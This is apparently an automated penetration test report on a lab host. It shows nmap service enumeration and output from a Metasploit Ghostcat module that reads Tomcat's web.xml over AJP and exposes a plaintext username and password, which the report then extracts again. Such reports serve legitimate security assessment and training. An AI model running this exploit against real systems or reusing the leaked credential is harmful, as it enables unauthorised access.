Pentest Report for 10.10.95.47

Disclaimer

The following is a computer generated report of a penetration test performed on the following host: 10.10.95.47. We expect the the client who requested the pentest owns the machine to be pentested. In case of any violation, we (the company performing the pentest) are not liable. In case no vulnerabilities are found, it does not mean that no vulnerabilities are present. There is no such concept as 100% secure machine. New vulnerabilities are being found everyday.

nmap

```
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-29 17:57 IST
Nmap scan report for 10.10.95.47
Host is up (0.15s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
119/tcp filtered nntp
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.84 seconds
```

Features extracted using GenAI

[{'port': '22', 'service': 'ssh', 'version': 'OpenSSH 7.2p2 Ubuntu 4ubuntu2.8'}, {'port': '8009', 'service': 'ajp13', 'version': 'Apache Jserv (Protocol v1.3)'}, {'port': '8080', 'service': 'http', 'version': 'Apache Tomcat 9.0.30'}]

ghostcat

```
[0m[0mRHOSTS => 10.10.95.47
[0m[1m[34m[*][0m Running module against 10.10.95.47
Status Code: 200
Accept-Ranges: bytes
ETag: W/"1261-1583902632000"
Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
Content-Type: application/xml
Content-Length: 1261


xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
```

```
Welcome to Tomcat

Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks



[1m[32m[+][0m 10.10.95.47:8080 -
/home/kali/.msf4/loot/20231129175811_default_10.10.95.47_WEBINFweb.xml_412420.txt
[1m[34m[*][0m Auxiliary module execution completed
[0m
```

Features extracted using GenAI

{'data': 'skyfuck:8730281lkjlkjdqlksalks'}

Date timestamp: 2023-11-29 17:57:03.503032